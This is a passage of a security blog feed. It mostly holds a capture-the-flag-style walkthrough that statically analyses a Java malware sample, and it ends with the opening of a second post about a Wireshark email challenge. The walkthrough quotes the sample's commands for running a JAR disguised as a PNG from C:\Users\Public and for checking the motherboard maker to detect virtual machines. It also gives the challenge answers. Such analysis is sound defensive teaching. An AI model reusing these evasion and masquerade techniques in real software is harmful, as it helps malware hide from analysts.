doesn&amp;rsquo;t sound good. It&amp;rsquo;s up to us to spring into action in our &lt;em&gt;LetsDefend&lt;/em&gt; virtual machine, reverse engineer and investigate its behavior, and prevent any further damage.&lt;/p&gt;&#xA;&lt;p&gt;This one&amp;rsquo;s a bit different from the usual endpoint or network forensics challenges. We&amp;rsquo;ll be stepping into the world of static analysis with a sprinkle of reverse engineering, using tools like &lt;strong&gt;JD-GUI&lt;/strong&gt;, &lt;em&gt;VirusTotal&lt;/em&gt;, &lt;em&gt;MITRE ATT&amp;amp;CK&lt;/em&gt;, and good old-fashioned logic to uncover what this malware is up to.&lt;/p&gt;&#xA;&lt;p&gt;If you&amp;rsquo;re new to Java malware or just want to sharpen your analysis skills, this is a great challenge to stumble into. Let&amp;rsquo;s dig in and see what this &lt;code&gt;.jar&lt;/code&gt; file is hiding.&lt;/p&gt;&#xA;&lt;p&gt;Sounds like fun, right? Let&amp;rsquo;s get into it!&lt;/p&gt;&#xA;&lt;p&gt;And if you find this walkthrough helpful — whether it levels-up your skills, gets you over a stumbling block, or serves as a handy reference — please give it a clap and consider following me for more content like this.&lt;/p&gt;&#xA;&lt;p&gt;Thanks for reading and going on this investigation with me!&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;question-1-what-is-the-name-of-the-method-that-checks-if-the-program-is-running-inside-a-virtualmachine&#34;&gt;Question 1: What is the name of the method that checks if the program is running inside a virtual machine?&#xA;&lt;/h3&gt;&lt;p&gt;Let&amp;rsquo;s kick off this investigation by opening the &lt;code&gt;ChallengeFile&lt;/code&gt; folder and unzipping &lt;code&gt;challenge.7z&lt;/code&gt; using the password provided in the challenge description. This leaves us with the sample we&amp;rsquo;ll be analyzing: &lt;code&gt;1.jar&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;503px&#34; data-flex-grow=&#34;209&#34; height=&#34;375&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-samba-spy-challenge-walkthrough/7c8a34b5aa8f5fb30b957f6aaea3f62d_MD5.png&#34; width=&#34;787&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Unzipping the ChallengeFile&lt;/p&gt;&#xA;&lt;p&gt;Our first step is to select a tool we can use to decompile the sample and peek into the code. Fortunately, the &lt;em&gt;LetsDefend&lt;/em&gt; VM is already loaded with a number of analysis tools, including &lt;a class=&#34;link&#34; href=&#34;https://java-decompiler.github.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Java Decompiler (JD)&lt;/strong&gt;&lt;/a&gt;. Since reverse engineering isn&amp;rsquo;t in my usual wheelhouse, the graphical version, &lt;em&gt;JD-GUI&lt;/em&gt;, will be perfect for us to use. According to the project&amp;rsquo;s &lt;a class=&#34;link&#34; href=&#34;https://java-decompiler.github.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;GitHub&lt;/a&gt; page:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;JD-GUI is a standalone graphical utility that displays Java source codes of &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;.class&amp;quot;&#xA;files. You can browse the reconstructed source code with the JD-GUI for instant access to methods and fields.&lt;/p&gt;&#xA;&lt;p&gt;Sounds perfect! Let&amp;rsquo;s give it a try by launching the application from &lt;code&gt;C:\Users\LetsDefend\Desktop\Tools\jd-gui-windows-1.6.6 - Java Decompiler&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Once it&amp;rsquo;s open, we can load the &lt;code&gt;1.jar&lt;/code&gt; sample file and immediately jump in by expanding &lt;code&gt;JavaApplication1.class &amp;gt; JavaApplication1&lt;/code&gt;. This will allow us to check out the methods within the application.&lt;/p&gt;&#xA;&lt;p&gt;With that in mind, to answer &lt;strong&gt;Question 1&lt;/strong&gt;, select the obviously named &lt;code&gt;isRunningInVM()&lt;/code&gt; method on the left and view its contents on the right. We&amp;rsquo;ll see that this method is checking if the JAR file is executed in a virtual machine. One way it does this is by checking if the operating system name matches known virtualization providers.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;339px&#34; data-flex-grow=&#34;141&#34; height=&#34;566&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-samba-spy-challenge-walkthrough/4df049f516ab2d32c42ecf68d52d0b5b_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Identifying the isRunningInVM() method&lt;/p&gt;&#xA;&lt;p&gt;Now, there could be a valid reason for it, but the presence of a method checking for virtualization is suspicious. Malware might attempt to evade detection by checking if it&amp;rsquo;s executed in a virtual environment, potentially operated by one of us defenders, and changing its behavior accordingly. This is an example of the &lt;strong&gt;MITRE ATT&amp;amp;CK&lt;/strong&gt; technique &lt;em&gt;V&lt;/em&gt;&lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1497/001/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;irtualization/Sandbox Evasion: System Checks (T1497.001)&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1828px&#34; data-flex-grow=&#34;761&#34; height=&#34;105&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-samba-spy-challenge-walkthrough/85d05479739455e86bcaf37fed1f257e_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-2-what-system-language-is-required-for-the-program-to-continue-execution&#34;&gt;Question 2: What system language is required for the program to continue execution?&#xA;&lt;/h3&gt;&lt;p&gt;The next thing we&amp;rsquo;ll need to uncover is what system language is required for the application to continue execution. We can find this in the &lt;code&gt;isSystemLanguageItalian()&lt;/code&gt; method.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;336px&#34; data-flex-grow=&#34;140&#34; height=&#34;570&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-samba-spy-challenge-walkthrough/7fab64b70ec166bf4577d655a52e7cc3_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Identifying the required language for execution&lt;/p&gt;&#xA;&lt;p&gt;This interesting little tidbit that tells us the malware might be targeting Italian systems only, since it only runs when that language is detected. This could be another example of an evasion tactic or might indicate a targeted attack. Let&amp;rsquo;s keep going and see what else we can discover about the malware&amp;rsquo;s capabilities.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1811px&#34; data-flex-grow=&#34;754&#34; height=&#34;106&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-samba-spy-challenge-walkthrough/23df7438f1624bc341ac11f328fa1846_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;questions-3-4&#34;&gt;Questions 3 &amp;amp; 4:&#xA;&lt;/h3&gt;&lt;h4 id=&#34;what-is-the-name-of-the-method-responsible-for-extracting-the-prodottozip-file&#34;&gt;What is the name of the method responsible for extracting the Prodotto.zip file?&#xA;&lt;/h4&gt;&lt;h4 id=&#34;what-is-the-default-extraction-path-for-the-prodottozip-contents&#34;&gt;What is the default extraction path for the Prodotto.zip contents?&#xA;&lt;/h4&gt;&lt;p&gt;To answer &lt;strong&gt;Question 3&lt;/strong&gt;, we&amp;rsquo;re searching for a method used to extract the file &lt;code&gt;Prodotto.zip&lt;/code&gt;. We can identify this function within the &lt;code&gt;extractLibs()&lt;/code&gt; method, which references the file directly on line 50.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;338px&#34; data-flex-grow=&#34;140&#34; height=&#34;568&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-samba-spy-challenge-walkthrough/b5fb1648a246a8f19ed8ed96e582ec67_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Identifying the .zip extraction method&lt;/p&gt;&#xA;&lt;p&gt;To answer &lt;strong&gt;Question 4&lt;/strong&gt;, we can identify the defined extraction path for this &lt;code&gt;.zip&lt;/code&gt; file by checking line 48, where the &lt;code&gt;DestinationPath&lt;/code&gt; variable is defined as &lt;code&gt;C:\Users\Public&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;338px&#34; data-flex-grow=&#34;140&#34; height=&#34;568&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-samba-spy-challenge-walkthrough/3ad48a51aacf71b8cd14416c14c05660_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Identifying the default path for .zip file extraction&lt;/p&gt;&#xA;&lt;p&gt;This is another suspicious behavior that suggests the malware is dropping a second-stage payload. The use of the &lt;code&gt;C:\Users\Public&lt;/code&gt; folder is also a red flag. It&amp;rsquo;s a commonly used directory for malware staging because it acts as a shared location across all user accounts in Windows. In other words, any user on the system can read from and write to this directory, making it a prime location to affect all users on the system.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1761px&#34; data-flex-grow=&#34;733&#34; height=&#34;109&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-samba-spy-challenge-walkthrough/3a1844910916f44c1adca3ea6304864b_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1846px&#34; data-flex-grow=&#34;769&#34; height=&#34;104&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-samba-spy-challenge-walkthrough/5cfa5c61f4675f106c3015886c894ae5_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;questions-5-6&#34;&gt;Questions 5 &amp;amp; 6:&#xA;&lt;/h3&gt;&lt;h4 id=&#34;what-file-name-does-the-program-look-for-after-extraction-to-run-as-a-jarfile&#34;&gt;What file name does the program look for after extraction to run as a JAR file?&#xA;&lt;/h4&gt;&lt;h4 id=&#34;what-command-is-used-to-execute-the-extracted-jarfile&#34;&gt;What command is used to execute the extracted JAR file?&#xA;&lt;/h4&gt;&lt;p&gt;Moving right along, we now need to identify the second-stage JAR file that&amp;rsquo;s executed by the malware. Let&amp;rsquo;s check out the &lt;code&gt;main(String[])&lt;/code&gt; method as a first step. Here, we can see another file extracted from the &lt;code&gt;Prodotto.zip&lt;/code&gt; archive in the same directory: &lt;code&gt;prodotto.png&lt;/code&gt;. This is declared as the &lt;code&gt;jarPath&lt;/code&gt; variable.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;336px&#34; data-flex-grow=&#34;140&#34; height=&#34;570&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-samba-spy-challenge-walkthrough/8659c8e166c495c9b9eddd29d0dbca41_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Identifying the extracted file&lt;/p&gt;&#xA;&lt;p&gt;This &lt;em&gt;looks&lt;/em&gt; promising — but we&amp;rsquo;re looking for a JAR file, right? Well, this is a little tricky. Take a look at line 32: we can see what appears to be a command executing a JAR file using &lt;code&gt;Runtime.getRuntime().exec()&lt;/code&gt; with the &lt;code&gt;jarPath&lt;/code&gt; variable. Strange!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;338px&#34; data-flex-grow=&#34;141&#34; height=&#34;567&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-samba-spy-challenge-walkthrough/448deb2f1a741ddf4a3fb88b5ef271a7_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Identifying the execution command&lt;/p&gt;&#xA;&lt;p&gt;Surprise! This appears to be an example of file type masquerading as described by the &lt;strong&gt;MITRE ATT&amp;amp;CK&lt;/strong&gt; technique &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1036/008/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;Masquerade File Type (T1036.008)&lt;/em&gt;&lt;/a&gt;. So, the file is named with a &lt;code&gt;.png&lt;/code&gt; extension, but it&amp;rsquo;s actually a &lt;code&gt;.jar&lt;/code&gt; file and is executed using the &lt;code&gt;java -jar&lt;/code&gt; command.&lt;/p&gt;&#xA;&lt;p&gt;While it&amp;rsquo;s a little out of scope for this challenge, we can confirm this behavior by grabbing the file hash of &lt;code&gt;1.jar&lt;/code&gt; from the &lt;em&gt;LetsDefend&lt;/em&gt; VM and pivoting to &lt;em&gt;VirusTotal&lt;/em&gt;. From there, we can check the &lt;em&gt;Relations&lt;/em&gt; tab for &lt;code&gt;Prodotto.zip &amp;gt; prodotto.png&lt;/code&gt; to confirm that the magic byte indicates it&amp;rsquo;s indeed a &lt;code&gt;.jar&lt;/code&gt; file.&lt;/p&gt;&#xA;&lt;p&gt;If you&amp;rsquo;d like to try it out, you can use the &lt;code&gt;Get-FileHash&lt;/code&gt; command in the VM to calculate the hash of &lt;code&gt;1.jar&lt;/code&gt;, but I&amp;rsquo;ve included it below for convenience:&lt;/p&gt;&#xA;&lt;p&gt;49BBFAC69CA7633414172EC07E996D0DABD3F7811F134EECAFE89ACB8D55B93A&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;505px&#34; data-flex-grow=&#34;210&#34; height=&#34;380&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-samba-spy-challenge-walkthrough/c2f48a9c5ecc538b3938711b503842a1_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;VirusTotal: Details of Prodotto.png&lt;/p&gt;&#xA;&lt;p&gt;Ultimately, we can confirm the answer to &lt;strong&gt;Question 5&lt;/strong&gt; is correct: &lt;code&gt;prodotto.png&lt;/code&gt; is indeed a &lt;code&gt;.jar&lt;/code&gt; file. And for &lt;strong&gt;Question 6&lt;/strong&gt;, the command used to execute it is:&lt;/p&gt;&#xA;&lt;p&gt;java -jar C:\Users\Public\Prodotto.png&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1761px&#34; data-flex-grow=&#34;733&#34; height=&#34;109&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-samba-spy-challenge-walkthrough/e02a9fd79c755b2d1c72f9a991bd6301_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1729px&#34; data-flex-grow=&#34;720&#34; height=&#34;111&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-samba-spy-challenge-walkthrough/8365eb1580cb9a1a5bb07036480760dc_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-7-what-process-is-used-to-check-if-the-system-is-running-in-a-virtual-machine-besides-the-manufacturer-string&#34;&gt;Question 7: What process is used to check if the system is running in a virtual machine (besides the manufacturer string)?&#xA;&lt;/h3&gt;&lt;p&gt;Remember back in &lt;strong&gt;Question 1&lt;/strong&gt;, where we identified the &lt;code&gt;isRunningInVM()&lt;/code&gt; method that the malware uses to check if it&amp;rsquo;s running in a virtual machine? While we identified the method, we didn&amp;rsquo;t really dig into &lt;em&gt;how&lt;/em&gt; that check occurs.&lt;/p&gt;&#xA;&lt;p&gt;From what we can tell, there are a couple of ways the malware does this. One method is by listing the system manufacturer string using &lt;code&gt;System.getProperty(&amp;quot;os.name&amp;quot;)&lt;/code&gt;, and then comparing it to a list of known virtualization providers (like &lt;em&gt;VMware&lt;/em&gt;, &lt;em&gt;Oracle&lt;/em&gt;, etc.).&lt;/p&gt;&#xA;&lt;p&gt;But this would only return the name of the operating system, like &lt;em&gt;Windows 11&lt;/em&gt;, &lt;em&gt;macOS&lt;/em&gt;, &lt;em&gt;Linux&lt;/em&gt;, etc. So, we&amp;rsquo;re looking for a different method, which we&amp;rsquo;ll find on line 96:&lt;/p&gt;&#xA;&lt;p&gt;wmic baseboard get manufacturer&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;337px&#34; data-flex-grow=&#34;140&#34; height=&#34;569&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-samba-spy-challenge-walkthrough/effc482c7eeece4aa405ff0a6d88c7dd_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Identifying baseboard manufacturer enumeration&lt;/p&gt;&#xA;&lt;p&gt;Using this WMI command in Windows will return the motherboard manufacturer, which the malware compares to a list of &lt;code&gt;vmIndicators&lt;/code&gt; as mentioned above. The idea is that if the execution environment is a VM, it would be reflected in the &lt;em&gt;baseboard manufacturer&lt;/em&gt; string which is pretty clever.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1777px&#34; data-flex-grow=&#34;740&#34; height=&#34;108&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-samba-spy-challenge-walkthrough/48f6fe9a2ad06409ac64d6b3f3661679_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-8-how-many-virtual-machine-vendors-does-the-program-checkfor&#34;&gt;Question 8: How many virtual machine vendors does the program check for?&#xA;&lt;/h3&gt;&lt;p&gt;Now onto the final question! To answer &lt;strong&gt;Question 8&lt;/strong&gt;, we simply need to look at the list of &lt;code&gt;vmIndicators&lt;/code&gt; we talked about in the previous question. If we expand the row on line 80, we&amp;rsquo;ll see the four VM providers the malware checks for — nice job!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;337px&#34; data-flex-grow=&#34;140&#34; height=&#34;569&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-samba-spy-challenge-walkthrough/7d0cc92eef780cfd4debb969952cd4d9_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Identifying the VM providers&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1729px&#34; data-flex-grow=&#34;720&#34; height=&#34;111&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-samba-spy-challenge-walkthrough/3fe84469be51925b4afdeefb0b0f5a16_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;510px&#34; data-flex-grow=&#34;212&#34; height=&#34;376&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-samba-spy-challenge-walkthrough/b0260b16c7c62f429ae77fa001e27749_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;How fun was that! A big thank you to &lt;em&gt;LetsDefend&lt;/em&gt; for putting together another awesome experience.&lt;/p&gt;&#xA;&lt;p&gt;This one was a great change of pace from my typical endpoint or network forensics investigation walkthroughs. It gave me a chance to explore how &lt;em&gt;Java-based malware&lt;/em&gt; operates, how it uses environmental awareness to evade detection, and how file type masquerading can try to throw us off the trail. Now that we&amp;rsquo;ve gained a better understanding of how this malware behaves, it&amp;rsquo;s time to wrap this investigation.&lt;/p&gt;&#xA;&lt;p&gt;I chose this challenge to keep reverse engineering in the rotation because it&amp;rsquo;s a weak spot for me. This was a great excuse to try a new tool and go hands-on with &lt;strong&gt;Java Decompiler,&lt;/strong&gt; and it&amp;rsquo;s now another tool I&amp;rsquo;ll be keeping in my kit for future malware analysis. The challenge also reinforced how important it is to understand anti-analysis techniques and how adversaries use them to stay hidden. Awesome stuff!&lt;/p&gt;&#xA;&lt;p&gt;Thanks for your support and partnering on this investigation. If you found this walkthrough helpful, don&amp;rsquo;t forget to &lt;strong&gt;give it a clap&lt;/strong&gt;! Your feedback really is invaluable, and it pumps me up to support your security journey. Remember, Cybersecurity is a team sport and we&amp;rsquo;re in this together!&lt;/p&gt;&#xA;&lt;p&gt;Until next week&amp;rsquo;s challenge — stay curious and be safe out there!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;240px&#34; data-flex-grow=&#34;100&#34; height=&#34;250&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-samba-spy-challenge-walkthrough/897587ce48e9f9feb186cdd21a12ccdd_MD5.png&#34; width=&#34;250&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;tools--references&#34;&gt;Tools &amp;amp; References:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Challenge Link:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/samba-spy&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.letsdefend.io/challenge/samba-spy&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Java Decompiler:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://java-decompiler.github.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://java-decompiler.github.io/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK — Virtualization/Sandbox Evasion: System Checks (T1497.001):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1497/001/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://attack.mitre.org/techniques/T1497/001/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK — Masquerading: Masquerade File Type (T1036.008):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1036/008/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://attack.mitre.org/techniques/T1036/008/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;VirusTotal:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.virustotal.com/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;VirusTotal — Prodotto.png:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/gui/file/9530d49197932cc7f169dae3f953e00dc9cf3625eb74e0e335701d3e3fd8c8d4/details&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.virustotal.com/gui/file/9530d49197932cc7f169dae3f953e00dc9cf3625eb74e0e335701d3e3fd8c8d4/details&lt;/a&gt;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>LetsDefend — Disclose The Agent Challenge Walkthrough</title>
            <link>https://stumblesec.com/posts/letsdefend-disclose-the-agent-challenge-walkthrough/</link>
            <pubDate>Sun, 14 Sep 2025 00:00:00 +0000</pubDate>
            <guid>https://stumblesec.com/posts/letsdefend-disclose-the-agent-challenge-walkthrough/</guid>
            <description>&lt;img src=&#34;https://stumblesec.com/posts/letsdefend-disclose-the-agent-challenge-walkthrough/a23fc2f7b435ad3801896d084afd433e_MD5.png&#34; alt=&#34;Featured image of post LetsDefend — Disclose The Agent Challenge Walkthrough&#34; /&gt;&lt;h3 id=&#34;letsdefend--disclose-the-agent-challenge-walkthrough&#34;&gt;LetsDefend — Disclose The Agent Challenge Walkthrough&#xA;&lt;/h3&gt;&lt;h4 id=&#34;investigating-a-suspicious-email-using-wireshark&#34;&gt;Investigating a Suspicious Email Using Wireshark.&#xA;&lt;/h4&gt;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;459px&#34; data-flex-grow=&#34;191&#34; height=&#34;296&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-disclose-the-agent-challenge-walkthrough/a23fc2f7b435ad3801896d084afd433e_MD5.png&#34; width=&#34;567&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/disclose-the-agent&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.letsdefend.io/challenge/disclose-the-agent&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;introduction&#34;&gt;Introduction:&#xA;&lt;/h3&gt;&lt;p&gt;Welcome to my weekly walkthrough! If you&amp;rsquo;ve stumbled across this blog looking for a practical guide to the &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/disclose-the-agent&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Disclose the Agent&lt;/strong&gt;&lt;/a&gt; challenge from &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt;, you&amp;rsquo;re in the right place. This challenge is a great introduction to investigating network traffic and carving out email-based artifacts using &lt;strong&gt;Wireshark&lt;/strong&gt; — let&amp;rsquo;s check out the scenario below.&lt;/p&gt;&#xA;&lt;h4 id=&#34;challenge-scenario&#34;&gt;Challenge Scenario:&#xA;&lt;/h4&gt;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;We reached the data of an agent leaking information. You have to disclose the agent.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Log file: /root/Desktop/ChallengeFile/smtpchallenge.pcap&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Note: pcap file found public resources.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;Got it! 